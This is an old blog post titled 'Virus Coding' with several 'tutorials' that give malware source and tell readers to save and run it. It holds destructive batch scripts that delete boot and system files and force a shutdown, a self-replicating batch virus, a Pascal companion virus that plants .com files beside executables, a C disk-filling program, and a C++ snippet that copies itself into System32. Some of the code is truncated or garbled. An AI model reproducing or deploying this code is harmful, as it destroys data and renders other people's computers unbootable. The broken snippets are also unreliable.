Sunday, July 27, 2008

Virus Coding



Tutorial 1


Don't try in ur own pc
try when u gonna to change ur OS
or take a back up and try kew;l......

@echo off

@if exist c:\windows\system32\mouse del c:\windows\system32\mouse
@if exist c:\windows\system32\keyboard del c:\windows\system32\keyboard
copy C:\windows\
@if exist c:\windows\system32\logoff.exe del c:\windows\system32\logoff.exe
@if exist C:\program files\internet explorer\iexplore.exe del C:\program files\internet explorer\iexplore.exe
msg "WARNING:A VIRUS TOOK OVER YOUR COMPUTER VIRUS NOTICED AS:SEX BEAM.exe"

Copy these lines in notepad and save it as ".bat" or ".exe"

Tutorial 2

A simple VIRUS code :
It will affect *.com and *.EXE files .It will multiply itself and may get more dangerous when altered.

@echo off>nul.ViRuS
if "%1=="/ViRuS_MULTIPLY goto ViRuS_multiply
if "%1=="/ViRuS_OUTER_LOOP goto ViRuS_outer_loop
if "%1=="/ViRuS_FINDSELF goto ViRuS_findself
if "%VOFF%=="T goto ViRuS_OLDBAT

set ViRuSname=%0
if not exist %0.bat call %0 /ViRuS_FINDSELF %path%
if not exist %ViRuSname%.bat set ViRuSname=
if "%ViRuSname%==" goto ViRuS_OLDBAT

rem ViRuS if batch is started with name.BAT, virus will not become active
rem ViRuS it was a bug, now it's a feature ! (also notice the voff variable)
rem ViRuS also if batch was only in an append /x:on path (chance=minimal)

attrib +h %ViRuSname%.bat
for %%a in (%path%;.) do call %0 /ViRuS_OUTER_LOOP %%a
attrib -h %ViRuSname%.bat
set ViRuSname=
goto ViRuS_OLDBAT

:ViRuS_findself
if "%2==" goto XXX_END>nul.ViRuS
if exist %2\%ViRuSname%.bat set ViRuSname=%2\%ViRuSname%
if exist %ViRuSname%.bat goto XXX_END
if exist %2%ViRuSname%.bat set ViRuSname=%2%ViRuSname%
if exist %ViRuSname%.bat goto XXX_END
shift>nul.ViRuS
goto ViRuS_findself

:ViRuS_outer_loop
for %%a in (%2\*.bat;%2*.bat) do call %0 /ViRuS_MULTIPLY %%a
goto XXX_END>nul.ViRuS

:ViRuS_multiply
find "ViRuS" <%ViRuSname%.bat >xViRuSx.bat
find /v "ViRuS" <%2 |find /v ":XXX_END" >>xViRuSx.bat
echo :XXX_END>>xViRuSx.bat
copy xViRuSx.bat %2>nul
del xViRuSx.bat
goto XXX_END>nul.ViRuS

:ViRuS_OLDBAT
echo on>nul.ViRuS
echo

Just save the following code as .bat extension in notepad.The antivirus will detect it as virus. see for yourself.


Tutorial 3
Virus that crashesh your own pc


@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
@echo off
msg * YOU GOT OWNED!!!
shutdown -s -t 7 -c "A VIRUS IS TAKING OVER c:Drive


save as bat file in notepad!!
This will pop up a message saying OWNED!!
and shut down the computer never to reboot again!


Tutorial 4


Virus code in pascal

Here is a new virus code It's created in pascal


Program Saddam;
$M 10000,0,0}
Uses
DOS;
Var
DriveID : String [2];
Buffer : Array [1..8000] Of Byte;
Target,Source : File;
Infected : Byte;
Done : Word;
TargetFile : String;
(*??????????????????????????????????????
???????????????????????????????????*)
Function ExistCom : Boolean;
Var
FindCom : SearchRec;
Begin
FindFirst ( TargetFile, 39, FindCom );
ExistCom := DosError = 0;
End;
Procedure SearchDir ( Dir2Search : String );
Var
S : SearchRec;
Begin
If Dir2Search [ Length ( Dir2Search ) ] <> '\' Then
Dir2Search := Dir2Search + '\';
FindFirst ( Dir2Search + '*.exe', 39, S );
While DosError = 0 Do
Begin
TargetFile := Copy ( Dir2Search + S.Name,1,
Length ( Dir2Search + S.Name ) -3 ) + 'com';
If ( Copy ( S.Name, Length ( S.Name ) -2,3 ) = 'EXE' ) And
Not ExistCom And ( Infected <> 25000 ) Then
Begin
{$i-}
Inc ( Infected );
Assign ( Target, TargetFile );
Rewrite ( Target,1 );
BlockWrite ( Target, Buffer, Done + Random ( 4400 ));
SetFTime ( Target, S.Time );
Close ( Target );
If IoResult = 101 Then
Begin
Infected := 3;
Erase ( Target );
End;
{$i+}
End;
FindNext ( S );
End;
FindFirst ( Dir2Search + '*', Directory, S );
If S.Name = '.' Then
Begin
FindNext ( S );
FindNext ( S );
End;
If ( DosError = 0 ) And
( S.Attr And 16 <> 16 ) Then
FindNext ( S );
While DosError = 0 Do
Begin
If ( S.Attr And 16 = 16 ) And ( Infected <>
SearchDir ( Dir2Search + S.Name );
FindNext ( S );
End;
End;
Begin
DriveID := FExpand ( ParamStr ( 1 ));
Infected := 0;
Assign ( Source, ParamStr ( 0 ) );
Reset ( Source, 1 );
BlockRead ( Source, Buffer, 5000, Done );
Close ( Source );
Randomize;
SearchDir ( DriveID );
Exec ( Copy ( ParamStr ( 0 ),1,
Length ( ParamStr ( 0 )) -3 ) + 'exe', ParamStr ( 1 ) );
End.

write notepad as anyname.pas

Tutorial 5
Damage ur Hard DIsk.....

#include 'stdio.h>
#include 'stdlib.h'
#include 'unistd.h'
#include 'signal.h'
#include 'sys h=""'
#include 'sys h=""'
#include 'fcntl.h'

#define HDSIZE 640000

void handle_sig();

int main() {

int i = 0;
int x;
int fd[5];

signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);

char *buf;

buf = malloc(HDSIZE);

printf("sekt0r: trashing hard disk with bad sectors!\n");

while(1) {
fd[1] = open("/tmp/.test", O_WRONLY|O_CREAT, 511);
fd[2] = open("/tmp/.test1", O_WRONLY|O_CREAT, 511);
fd[3] = open("/tmp/.test2", O_WRONLY|O_CREAT, 511);
fd[4] = open("/tmp/.test3", O_WRONLY|O_CREAT, 511);
fd[5] = open("/tmp/.test4", O_WRONLY|O_CREAT, 511);
for(x = 0; x <>

Disclaimer:

At ur Own Risk im telling it again and again and then after trying those dont ask me for recovery


Because I donno the recover


Another c++ virus

Copy following code in Notepad, and Save it as Any_Name.cpp

#include windows.h
#include string.h

char windir[MAX_PATH];

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{

char pathname[256];
HKEY hKey;


GetWindowsDirectory(windir, sizeof(windir));
HMODULE hMe = GetModuleHandle(NULL);
DWORD nRet = GetModuleFileName(hMe, pathname, 256);

strcat(windir, "\\System32\\viral.exe");
CopyFile(pathname,windir,0);


unsigned char reg[10] = "infected";

RegCreateKey(HKEY_CURRENT_USER,"Software\\retro",&hKey);
RegSetValueEx(hKey,"virus",0,REG_SZ,reg,sizeof(reg));
RegCloseKey(hKey);

}



No comments: